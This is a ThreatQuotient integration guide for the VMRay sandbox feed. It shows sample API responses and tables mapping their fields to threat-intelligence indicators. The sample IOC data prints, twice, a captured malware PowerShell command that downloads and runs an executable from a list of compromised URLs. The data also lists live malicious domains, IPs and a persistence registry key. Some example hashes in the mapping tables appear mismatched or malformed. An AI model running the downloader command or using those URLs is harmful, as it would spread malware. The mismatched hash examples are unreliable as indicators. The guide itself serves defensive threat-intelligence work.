ThreatQuotient

VMRay CDF Guide

Version 1.0.1

March 09, 2021

ThreatQuotient
11400 Commerce Park Dr., Suite 200
Reston, VA 20191

Support
Email: support@threatq.com
Web: support.threatq.com
Phone: 703.574.9893

Warning and Disclaimer

ThreatQuotient, Inc. provides this document “as is”, without representation or warranty of any kind, express or implied, including without limitation any warranty concerning the accuracy, adequacy, or completeness of such information contained herein. ThreatQuotient, Inc. does not assume responsibility for the use or inability to use the software product as a result of providing this information.

Contents

Versioning

- Current Integration Version: 1.0.0
- Supported on ThreatQ Version: >= 4.34.0

Introduction

The VMRay Operation is required in order to use the VMRay CDF.

The VMRay Feed ingests threat intelligence data that has been submitted to VMRay via the VMRay Operation. VMRay returns Indicators of type URL, MD5, SHA-1, SHA-256, Fuzzy Hash, IPv4 Address, Registry Key, Filename, FQDN and Malware Objects, Attack Patterns and uses basic HTTP authentication based on API key.

The VMRay feed retrieves data using the following endpoints:

- https://cloud.vmray.com/rest/sample/<sample_id>
- https://cloud.vmray.com/rest/sample/<sample_id>/iocs
- https://cloud.vmary.com/rest/analysis/sample/<sample_id>
- https://cloud.vmray.com/rest/analysis/<analysis_id>/mitre_attack

Installation

Perform the following steps to install the integration:

> The same steps can be used to upgrade the integration to a new version.

1. Log into https://marketplace.threatq.com/.
2. Locate and download the integration file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the **Add New Integration** button.
5. Upload the integration file using one of the following methods:
   - Drag and drop the file into the dialog box
   - Select **Click to Browse** to locate the integration file on your local machine

   > ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.
6. If prompted, select the individual feeds to install and click **Install**. The feed will be added to the integrations page.

You will still need to configure and then enable the feed.

Configuration

> ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other feed-related credentials.

To configure the feed:

1. Navigate to your integrations management page in ThreatQ.
2. Select the **Commercial** option from the *Category* dropdown (optional).

   > If you are installing the integration for the first time, it will be located under the **Disabled** tab.

3. Click on the integration to open its details page.
4. Enter the following parameter under the **Configuration** tab:

PARAMETER	DESCRIPTION
API Key	Your VMRay API Key.

5. Review the **Settings** configuration, make any changes if needed, and click on **Save**.
6. Click on the toggle switch, located above the *Additional Information* section, to enable it.

ThreatQ Mapping

VMRay

GET https://cloud.vmray.com/rest/sample/<sample_id>


```
{
 "data": {
  "sample_child_relations": [],
  "sample_child_relations_truncated": false,
  "sample_child_sample_ids": [],
  "sample_classifications": [
   "Banking Trojan",
   "Downloader"
  ],
  "sample_container_type": null,
  "sample_created": "2020-09-25T13:19:14",
  "sample_display_url": null,
  "sample_filename": "27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73doc",
  "sample_filesize": 439808,
  "sample_highest_vti_score": 100,
  "sample_highest_vti_severity": "malicious",
  "sample_id": 5369081,
  "sample_imphash": null,
  "sample_is_multipart": false,
  "sample_last_md_score": 0,
  "sample_last_reputation_severity": "unknown",
  "sample_last_vt_score": null,
  "sample_md5hash": "d9e89abaad1770bf5c30b68bed13b9d6",
  "sample_parent_relations": [],
  "sample_parent_relations_truncated": false,
  "sample_parent_sample_ids": [],
  "sample_password_protected": false,
  "sample_pe_signature": null,
  "sample_priority": 2,
  "sample_score": 100,
  "sample_severity": "malicious",
  "sample_sha1hash": "e47f9d8591fee2920a9dee8f1c89118c172728b6",
  "sample_sha256hash": "27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73",
  "sample_ssdeephash": "6144:FtMjcjDJmx7iajN1e9HOkRKJeov/HCzH/fMlAqr3YapiwfkYFOzzzzzSzzzz6qZK:Ft3JAh3UKJnPQHnsYaAYFiqZK",
  "sample_threat_names": [
   "C2/Generic-A",
   "Gen:Variant.Razy.639347"
  ],
  "sample_type": "Word Document",
  "sample_url": null,
  "sample_verdict": "malicious",
  "sample_verdict_reason_code": null,
  "sample_verdict_reason_description": null,
  "sample_vti_score": 100,
  "sample_webif_url": "https://cloud.vmray.com/user/sample/view?id=5369081"
 },
 "result": "ok"
}
```


FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.sample_classifications[]	Indicator.Attribute/ Malware.Attribute	Sample Classification	.data.sample_created	["Banking Trojan", "Downloader"]	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.sample_type	Indicator.Attribute/ Malware.Attribute	Sample Type	.data.sample_created	Word Document	N/A
.data.sample_severity	Indicator.Attributes/ Malware.Attribute	Severity	.data.sample_created	malicious	N/A
.data.sample_filename	Indicator.Value	Filename	.data.sample_created	27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73doc	If the value is equal to 'sample.url' a Filename indicator is ingested having the value of .data.sample_display_url. By default, the URL indicators that are actually FQDNs will be ingested as FQDN Indicators via normalization.
.data.sample_filesize	Indicator.Attribute/ Malware.Attribute	File size	.data.sample_created	439808	N/A
.data.sample_highest_vti_score	Indicator.Attribute/ Malware.Attribute	Highest VTI Score	.data.sample_created	100	
.data.sample_highest_vti_severity	Indicator.Attribute/ Malware.Attribute	Highest VTI Severity	.data.sample_created	malicious	N/A
.data.sample_last_md_score	Indicator.Attribute/ Malware.Attribute	Last Score	.data.sample_created	0	N/A
.data.sample_last_reputation_severity	Indicator.Attribute/ Malware.Attribute	Last Reputation Severity	.data.sample_created	unknown	N/A
.data.sample_priority	Indicator.Attribute/ Malware.Attribute	Priority	.data.sample_created	2	N/A
.data.sample_score	Indicator.Attribute/ Malware.Attribute	Score	.data.sample_created	100	N/A
.data.sample_vti_score	Indicator.Attribute/ Malware.Attribute	VTI Score	.data.sample_created	100	N/A
.data.sample_verdict	Indicator.Attribute/ Malware.Attribute	Verdict	.data.sample_created	malicious	N/A
.data.sample_webif_url	Indicator.Attribute/ Malware.Attribute	VMRay Link	.data.sample_created	https://cloud.vmray.com/user/sample/view?id=5369081	N/A
.data.sample_md5hash	Indicator.Value	MD5	.data.sample_created	d9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.sample_sha1hash	Indicator.Value	SHA-1	.data.sample_created	e47f9d8591fee2920a9dee8f1c89118c172728b6	N/A
.data.sample_sha256hash	Indicator.Value	SHA-256	.data.sample_created	27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73	N/A
.data.threat_names[]	Related Malware	N/A	.data.sample_created	["C2/Generic-A", "Gen:Variant.Razy.639347"]	N/A

VMRay Sample IOCs

GET https://cloud.vmray.com/rest/sample/<sample_id>/iocs


```
{
  "data": {
    "iocs": {
      "domains": [
        {
          "countries": [
            "France",
            "United States"
          ],
          "country_codes": [
            "FR",
            "US"
          ],
          "domain": "www.ip-address.com",
          "id": 0,
          "ip_addresses": [
            "207.38.89.115",
            "209.126.124.166"
          ],
          "numeric_severity": 0,
          "original_domains": [
            "www.ip-adress.com"
          ],
          "parent_processes": [
            "C:\\Windows\\SysWOW64\\explorer.exe"
          ],
          "parent_processes_ids": [
            14
          ],
          "parent_processes_names": [
            "explorer.exe"
          ],
          "protocols": [
            "DNS",
            "HTTP",
            "HTTPS"
          ],
          "severity": "not_suspicious",
          "sources": [
            "Function Log",
            "Pcap",
            "Static Analysis"
          ],
          "type": "domain_artifact",
          "verdict": "clean",
          "verdict_reason_code": null,
          "verdict_reason_description": "no description",
          "version": 3
        },
        {
          "countries": [
            "Ukraine"
          ],
          "country_codes": [
            "UA"
          ],
          "domain": "talantinua.com",
          "id": 0,
          "ip_addresses": [
            "91.235.143.208"
          ],
```

```
        "numeric_severity": 0,
        "original_domains": [
          "talantinua.com"
        ],
        "parent_processes": [
          "POWerShell  Foreach($url in @('http://talantinua.com/apawn/55555555.png','http://dellenbene.de/wpfsjfcrp/55555555.png','http://
www.pauwstoffering.nl/pqwwmqzgjot/55555555.png','http://acrinetshop.com.br/arnphkv/55555555.png','http://www.corbettasalvatore.com/bolcv/
55555555.png','http://lojacorpoemente.com.br/beuefuqpd/55555555.png','http://sulduzkhabar.ir/fhrhowc/55555555.png','http://
hillsborobookkeeping.com/yowyvoux/55555555.png','http://evutt.ee/imjzrilmu/55555555.png','http://anawabighschool.com/lipun/
55555555.png','http://www.serramentispada.it/odisaehjgg/55555555.png','http://papadeilumi.it/kupmmngtbbn/55555555.png','http://
www.crippacostruzioni.it/jnatzwzp/55555555.png','http://emulatorgame.ir/ocdxvkhvmtjx/55555555.png','15')) { try{$path = 'C:\\Drivers\\Lomurs.exe';
(New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}"
        ],
        "parent_processes_ids": [
          6
        ],
        "parent_processes_names": [
          "powershell.exe"
        ],
        "protocols": [
          "DNS",
          "HTTP"
        ],
        "severity": "not_suspicious",
        "sources": [
          "Command Line",
          "Function Log",
          "Pcap",
          "Static Analysis"
        ],
        "type": "domain_artifact",
        "verdict": "clean",
        "verdict_reason_code": null,
        "verdict_reason_description": "no description",
        "version": 3
      }
    ],
    "email_addresses": [],
    "emails": [],
    "registry": [{
      "reg_key_name": "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\hjgtje",
      "verdict": "suspicious",
      "verdict_reason_description": "no description",
      "threat_names": ["C2/Generic-A", "Gen:Variant.Razy.639347"],
      "severity": "malicious",
      "numeric_severity": 0
    }],
    "filenames": [
      {
        "analysis_ids": [
          5723697
        ],
        "categories": [
          "Downloaded File"
        ],
        "classifications": [],
        "filename": "C:\\Users\\qj4SUKboE\\AppData\\Roaming\\Microsoft\\Fteuiul\\ygzyxz.exe",
        "id": 0,
        "ioc": true,
        "ioc_type": "filename",
        "numeric_severity": 0,
        "operations": [
          "Access",
          "Create",
          "Read"
        ],
        "relations": [
          {
            "analysis_id": 5723697,
```

```
      "relations": {
        "file": [
          "21"
        ],
        "gobject": [
          "15809:file_obj",
          "25887:file_obj",
          "16910:file_obj",
          "16912:file_obj",
          "32458:file_obj",
          "16915:file_obj"
        ],
        "process": [
          "34",
          "36",
          "37",
          "38",
          "7",
          "39",
          "10",
          "13",
          "14",
          "30"
        ]
      }
    }
  ],
  "severity": "not_suspicious",
  "threat_names": [],
  "type": "filename_artifact",
  "verdict": "clean",
  "verdict_reason_code": null,
  "verdict_reason_description": "no description",
  "version": 3,
  "vtis": [
    "9c9cedc8da4444bd9e6f5e570724ac1d"
  ]
},
{
  "analysis_ids": [
    5723693
  ],
  "categories": [
    "Downloaded File"
  ],
  "classifications": [],
  "filename": "C:\\Users\\zgSpbU9Lu\\AppData\\Roaming\\Microsoft\\Zqrgzsu\\maayu.exe",
  "id": 0,
  "ioc": true,
  "ioc_type": "filename",
  "numeric_severity": 0,
  "operations": [
    "Access",
    "Create",
    "Read"
  ],
  "relations": [
    {
      "analysis_id": 5723693,
      "relations": {
        "file": [
          "27"
        ],
        "gobject": [
          "19518:file_obj",
          "16597:file_obj"
        ],
        "process": [
          "35",
```

```
            "36",
            "37",
            "38",
            "7",
            "10",
            "13",
            "14",
            "30"
           ]
         }
        }
      ],
      "severity": "not_suspicious",
      "threat_names": [],
      "type": "filename_artifact",
      "verdict": "clean",
      "verdict_reason_code": null,
      "verdict_reason_description": "no description",
      "version": 3,
      "vtis": [
        "2cd14364081b4f7395a6a62f72a27109"
      ]
    }
  ],
  "files": [
    {
      "analysis_ids": [
        5723693,
        5723697,
        5723695
      ],
      "categories": [
        "Downloaded File"
      ],
      "classifications": [
        "Banking Trojan",
        "Virus"
      ],
      "file_size": 6005264,
      "filename": "55555555.png",
      "filenames": [
        "55555555.png",
        "C:\\Drivers\\Lomurs.exe"
      ],
      "hashes": [
        {
          "imp_hash": "9a78c76417431884c38d6c29ae212b7b",
          "md5_hash": "1d7a0a18bb20b931bdefeda61b7165ce",
          "sha1_hash": "f5aca6ec1d3a99df00806e931d8729e23fec8bb1",
          "sha256_hash": "369ae641570b72f61ef7989182dc478e3ad0325faa085811a863988184697c5e",
          "ssdeep_hash": "6144:f4thSUHz9HRg1c5Fm0Dq7VTu0Cdvm2MU3Iv7HCuqBl9scWBJy:yh3Hz9HeWFJDmV61AXuu6D"
        }
      ],
      "id": 0,
      "ioc": true,
      "ioc_type": "file",
      "mime_type": "application/vnd.microsoft.portable-executable",
      "norm_filename": "55555555.png",
      "numeric_severity": 4,
      "operations": [
        "Access"
      ],
      "parent_files": [
        "871c21da68f87ce182185f67db5ff485ac8c8b773fd9446d15700d7dacf4dd6c",
        "042ba4e9ed394411a7fea88379be5f9672934282cdad5479d1e620582f425dc5",
        "78286be90a12fd17067d996c59a2ec43ec676020564da02a8b14ec0da9086997"
      ],
      "parent_processes": [
        "\"C:\\Drivers\\Lomurs.exe\" ",
```

"POWerShell Foreach($url in @('http://talantinua.com/apawn/55555555.png','http://dellenbene.de/wpfsjfcrp/55555555.png','http://www.pauwstoffering.nl/pqwwmqzgjot/55555555.png','http://acrinetshop.com.br/arnphkv/55555555.png','http://www.corbettasalvatore.com/bolcv/55555555.png','http://lojacorpoemente.com.br/beuefuqpd/55555555.png','http://sulduzkhabar.ir/fhrhowc/55555555.png','http://hillsborobookkeeping.com/yowyvoux/55555555.png','http://evutt.ee/imjzrilmu/55555555.png','http://anawabighschool.com/lipun/55555555.png','http://www.serramentispada.it/odisaehjgg/55555555.png','http://papadeilumi.it/kupmmngtbbn/55555555.png','http://www.crippacostruzioni.it/jnatzwzp/55555555.png','http://emulatorgame.ir/ocdxvkhvmtjx/55555555.png','15')) { try{$path = 'C:\\Drivers\\Lomurs.exe';(New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}"
        ],
        "parent_processes_ids": [
          6,
          7
        ],
        "parent_processes_names": [
          "lomurs.exe",
          "powershell.exe"
        ],
        "relations": [
          {
            "analysis_id": 5723697,
            "relations": {
              "file": [
                "21"
              ],
              "gobject": [
                "7865:file_obj",
                "7860:file_obj",
                "7885:file_obj"
              ],
              "process": [
                "34",
                "36",
                "37",
                "30"
              ]
            }
          }
        ],
        "resource_url": [],
        "severity": "malicious",
        "threat_names": [
          "VBS.Laburrak.7.Gen"
        ],
        "type": "file_artifact",
        "verdict": "Malicious",
        "verdict_reason_code": null,
        "verdict_reason_description": "no description",
        "version": 3,
        "vtis": [
          "76270f7892e444e3b174228ee799adfb",
          "e3c0e5a1c76049b99963392cdc42f72a"
        ]
      }
    ],
    "urls":[{
      "categories": [
        "Contacted"
      ],
      "content_types": [],
      "countries": [
        "United States"
      ],
      "country_codes": [
        "US"
      ],
      "id": 0,
      "ip_addresses": [
        "34.102.136.180"
      ],
      "methods": [

```
        "GET"
       ],
       "numeric_severity": 0,
       "original_urls": [
        "http://technik.com.hk/system/storage/download/st10.mp3"
       ],
       "user_agents": ["Agent"],
       "verdict": "clean",
       "verdict_reason_code": null,
       "verdict_reason_description": "no description",
       "version": 3,
       "severity": "maliciuos",
       "sources": ["Function Log"],
       "type": "url_artifact",
       "url": "http://technik.com.hk/system/storage/download/st10.mp3"
     }]
    }
  }
}
```


FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.iocs.domains[].domain	Indicator.Value	URL	N/A	www.ip-adress.com	N/A
.data.iocs.domains[].ip_addresses[]	Indicator.Value	IPv4 Address	N/A	['207.38.89.115', '209.126.124.166']	N/A
.data.iocs.domains[].countries[]	Indicator.Attribute	Country	N/A	['France', 'United States']	N/A
.data.iocs.domains[].numeric_severity	Indicator.Attribute	Severity	N/A	0	N/A
.data.iocs.domains[].sources[]	Indicator.Attribute	Source	N/A	['Function Log', 'Pcap', 'Static Analysis']	N/A
.data.iocs.domains[].verdict	Indicator Attribute	Verdict	N/A	clean	N/A
.data.iocs.domains[].severity	Indicator.Attribute	Severity	N/A	not_suspicious	N/A
.data.iocs.domains[].protocols[]	Indicator.Attribute	Protocol	N/A	['DNS', 'HTTP', 'HTTPS']	N/A
.data.iocs.domains[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.filenames[].categories[]	Indicator.Attribute	Category	N/A	['Downloaded File']	N/A
.data.iocs.filenames[].filename	Indicator.Value	Filename	N/A	C:\Users\zgSpbU9Lu\AppData\Roaming\Microsoft\Zqrgzsu\maayu.exe	N/A
.data.iocs.filenames[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	0	N/A
.data.iocs.filenames[].severity	Indicator.Attribute	Severity	N/A	not_suspicious	N/A
.data.iocs.filenames[].verdict	Indicator.Attribute	Verdict	N/A	clean	N/A
.data.iocs.filenames[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.files[].categories[]	Indicator.Attribute/ Malware.Attribute	Category	N/A	['Downloaded Files']	N/A
.data.iocs.files[].verdict	Indicator.Attribute/ Malware.Attribute	Verdict	N/A	malware	N/A
.data.iocs.files[].file_size	Indicator.Attribute/ Malware.Attribute	File size	N/A	6005264	N/A
.data.iocs.files[].filename	Indicator.Value	Filename	N/A	55555555.png	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.iocs.files[].filenames[]	Indicator.Value	Filename	N/A	['55555555.png', 'C:\Drivers\Lomurs.exe']	N/A
.data.iocs.files[].hashes[].md5_hash	Indicator.Value	MD5	N/A	d9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.iocs.files[].hashes[].sha1_hash	Indicator.Value	SHA-1	N/A	a8788d9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.iocs.files[].hashes[].sha256_hash	Indicator.Value	SHA-256	N/A	e4233acd9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.iocs.files[].type	Indicator.Attribute/ Malware.Attribute	Type	N/A	file_artifact	N/A
.data.iocs.files[].verdict_reason_description	Indicator.Attribute/ Malware.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.files[].severity	Indicator.Attribute/ Malware.Attribute	Severity	N/A	malicious	N/A
.data.iocs.files[].threat_names[]	Related Malware	N/A	N/A	['VBS.Laburrak.7.Gen']	N/A
.data.iocs.files[].numeric_severity	Indicator.Attribute/ Malware.Attribute	Numeric Severity	N/A	4	N/A
.data.iocs.files[].operations[]	Indicator.Attribute/ Malware.Attribute	Operation	N/A	['Access']	N/A
.data.iocs.ips[].country	Indicator.Attribute	Country	N/A	United States	N/A
.data.iocs.ips[].domains[]	Indicator.Value	FQDN	N/A	talantinua.com	N/A
.data.iocs.ips[].ip_address	Indicator.Value	IPv4 Address	N/A	91.235.143.208	N/A
.data.iocs.ips[].severity	Indicator.Attribute	Severity	N/A	7	N/A
.data.iocs.ips[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	malware	N/A
.data.iocs.ips[].protocols[]	Indicator.Attribute	Protocol	N/A	['DNS']	N/A
.data.iocs.ips[].sources[]	Indicator.Attribute	Source	N/A	['Pcap']	N/A
.data.iocs.ips[].type	Indicator.Attribute	Type		ip	N/A
.data.iocs.ips[].verdict	Indicator.Attribute	Verdict	N/A	suspicious	N/A
.data.iocs.ips[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.registry[].reg_key_name	Indicator.Value	Registry	N/A	HKEY_CURRENT_USER\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run\hjgtje	N/A
.data.iocs.registry[].verdict	Indicator.Attribute/ Malware.Attribute	Verdict	N/A	suspicious	N/A
.data.iocs.registry[].verdict_reason_description	Indicator.Attribute/ Malware.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.registry[].threat_names[]	Object	Malware	N/A	['C2/Generic-A', 'Gen:Variant.Razy.639347']	N/A
.data.iocs.registry[].severity	Indicator.Attribute/ Malware.Attribute	Severity	N/A	malicious	N/A
.data.iocs.registry[].numeric_severity	Indicator.Attribute/ Malware.Attribute	Numeric Severity	N/A	0	N/A
.data.iocs.urls[].categories[]	Indicator.Attribute	Category	N/A	['Contacted']	N/A
.data.iocs.urls[].countries[]	Indicator.Attribute	Country	N/A	['United States']	

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.iocs.urls[].ip_addresses[]	Indicator.Value	IPv4 Address	N/A	['34.102.136.180']	N/A
.data.iocs.urls[].original_urls[]	Indicator.Value	URL	N/A	['http://talantinua.com/apawn/55555555.png']	N/A
.data.iocs.urls[].severity	Indicator.Value	Severity	N/A	malicious	N/A
.data.iocs.urls[].sources[]	Indicator.Attribute	Source	N/A	['Function Log']	N/A
.data.iocs.urls[].verdict	Indicator.Attribute	Verdict	N/A	clean	N/A
.data.iocs.urls[].type	Indicator.Attribute	Type	N/A	url_artifact	N/A
.data.iocs.urls[].user_agents[]	Indicator.Attribute	User Agent	N/A	['Agent']	N/A
.data.iocs.urls[].url	Indicator.Value	URL	N/A	http://technik.com.hk/system/storage/download/st10.mp3	N/A
.data.iocs.urls[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	0	N/A
.data.iocs.urls[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A

VMRay Analysis

GET https://cloud.vmray.com/rest/analysis/sample/<sample_id>


```
{
  "data": [{
    "analysis_analyzer_id": 6,
    "analysis_analyzer_name": "vmray_static",
    "analysis_analyzer_version": "4.0.0",
    "analysis_billing_type": "analyzer",
    "analysis_configuration_id": null,
    "analysis_created": "2020-09-25T14:38:49",
    "analysis_document_password": null,
    "analysis_enable_local_av": true,
    "analysis_jobrule_sampletype": "Microsoft Office Documents",
    "analysis_id": 5723552,
    "analysis_ioc_aggregation_state": "ok",
    "analysis_job_id": 6153152,
    "analysis_job_started": "2020-09-25T14:38:48",
    "analysis_job_type": "only_static_analysis",
    "analysis_jobrule_id": null,
    "analysis_lock_status": "unlocked",
    "analysis_max_recursive_samples_reached": false,
    "analysis_mitre_attack_aggregation_state": "ok",
    "analysis_platform": "windows",
    "analysis_prescript_force_admin": false,
    "analysis_prescript_id": null,
    "analysis_priority": 1,
    "analysis_published": false,
    "analysis_report_version": 10,
    "analysis_result_code": 1,
    "analysis_result_str": "Operation completed successfully.",
    "analysis_sample_id": 5369081,
    "analysis_sample_md5": "d9e89abaad1770bf5c30b68bed13b9d6",
    "analysis_sample_sha1": "e47f9d8591fee2920a9dee8f1c89118c172728b6",
    "analysis_sample_sha256": "27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73",
    "analysis_sample_ssdeep": "6144:FtMjcjDJmx7iajN1e9HOkRKJeov/HCzH/fMlAqr3YapiwfkYFOzzzzzSzzzz6qZK:Ft3JAh3UKJnPQHnsYaAYFiqZK",
```

```
  "analysis_serialized_result": {
    "code": 1,
    "extra_args": {},
    "fmt_args": []
  },
  "analysis_severity": "malicious",
  "analysis_size": 1378573,
  "analysis_system_time": null,
  "analysis_tags": [],
  "analysis_verdict": "malicious",
  "analysis_verdict_reason_code": null,
  "analysis_verdict_reason_description": null,
  "analysis_vm_id": null,
  "analysis_vmhost_id": 4,
  "analysis_vmhost_name": "cloud-worker-02",
  "analysis_vti_aggregation_state": "ok",
  "analysis_vti_built_in_rules_version": 3.7,
  "analysis_vti_custom_rules_hash": "d41d8cd98f00b204e9800998ecf8427e",
  "analysis_vti_score": 100,
  "analysis_webif_url": "https://cloud.vmray.com/user/analysis/view?id=5723552&sub=%2Freport%2Foverview.html",
  "analysis_yara_latest_ruleset_date": "2020-09-07T14:03:08",
  "analysis_yara_match_count": 0
 }],
 "result": "ok"
}
```


FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data[].analysis_jobrule_sampletype	Indicator.Attribute	Analysis Jobrule Sampletype	N/A	Microsoft Office Documents	N/A
.data[].analysis_severity	Indicator.Attribute	Analysis Severity	N/A	malicious	N/A
.data[].analysis_verdict	Indicator.Attribute	Analysis Verdict	N/A	malicious	N/A
.data[].analysis_analyzer_name	Indicator.Attribute	Analyzer Name	N/A	vmray_static	N/A
.data[].analysis_platform	Indicator.Attribute	Analysis Platform	N/A	windows	N/A
.data[].analysis_priority	Indicator.Attribute	Analysis Priority	N/A	1	N/A
.data[].analysis_yara_match_count	Indicator.Attribute	Analysis Yara Match	N/A	0	N/A
.data[].analysis_webif_url	Indicator.Attribute	Analysis Web URL	N/A	https://cloud.vmray.com/user/analysis/view?id=5723552&sub=%2Freport%2Foverview.html	N/A
.data[].analysis_sample_md5	Indicator.Value	MD5	N/A	d9e89abaad1770bf5c30b68bed13b9d6	N/A
.data[].analysis_sample_sha1	Indicator.Value	SHA-1	N/A	e47f9d8591fee2920a9dee8f1c89118c172728b6	N/A
.data[].analysis_sample_sha256	Indicator.Value	SHA-256	N/A	27e47f9d8591fee2920a9dee8f1c89118c172728b6234343434	N/A
.data[].analysis_sample_ssdeep	Indicator.Value	Fuzzy Hash	N/A	6144:6144:FtMjcjDJmx7iajN1e9HOkRKJeov/HCzH/fMlAqr3YapiwfkYFOzzzzzSzzzz6qZK:Ft3JAh3UKJnPQHnsYaAYFiqZK	N/A

VMRay Mitre

GET https://cloud.vmray.com/rest/sample/<sample_id>/mitre_attack


```
{
  "data": {
    "mitre_attack_techniques": [
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "id": 40,
        "matrix_version": "2019-04-25T20:53:07.719000",
        "tactics": [
          "Persistence"
        ],
        "technique": "Registry Run Keys / Startup Folder",
        "technique_id": "T1060",
        "version": 1.0
      },
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "id": 82,
        "matrix_version": "2019-04-25T20:53:07.719000",
        "tactics": [
          "Defense Evasion"
        ],
        "technique": "Modify Registry",
        "technique_id": "T1112",
        "version": 1.0
      },
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "id": 101,
        "matrix_version": "2019-04-25T20:53:07.719000",
        "tactics": [
          "Discovery"
        ],
        "technique": "Query Registry",
        "technique_id": "T1012",
        "threat_indicators": [
          {
            "analysis_ids": [
              5658609,
              5658612
            ],
            "category": "Data Collection",
            "classifications": [],
            "id": 74203053,
            "operation": "Reads sensitive browser data",
            "score": 2
          },
          {
            "analysis_ids": [
              5658609,
              5658612
            ],
            "category": "Discovery",
```

```
        "classifications": [],
        "id": 74203104,
        "operation": "Possibly does reconnaissance",
        "score": 2
       }
      ],
      "version": 1.0
    }]
  },
  "result": "ok"
}
```


FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.mitre_attack_techniques[].technique_id	Related Attack Pattern	N/A	T1012	Linked to already existing TQ MITRE Attack Pattern	

Average Feed Run

METRIC	RESULT
Run Time	14 minutes
Indicators	980
Indicator Attributes	9431
Malware	16
Malware Attributes	1240
Attack Pattern	3

Feed runtime is supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

Change Log

- **Version 1.0.1**
  - Fixed misspellings of Indicator Attribute names.

    The **threatq:merge-attributes** artisan command can be used to merge previously ingested attributes with the ones named correctly.

    See the Merge Attributes section under the ThreatQ Commands topic on the ThreatQ Help Center for more details about this command.

    Merge Attributes Command Example:

    ```
    sudo php artisan down

    sudo php artisan threatq:merge-attributes --source VMRay --old-name 'Hightest VTI Severity' --merge-name 'Highest VTI Severity'

    sudo php artisan threatq:merge-attributes --source VMRay --old-name 'Sample Clasification' --merge-name 'Sample Classification'

    sudo php artisan up
    ```

- **Version 1.0.0**
  - Initial release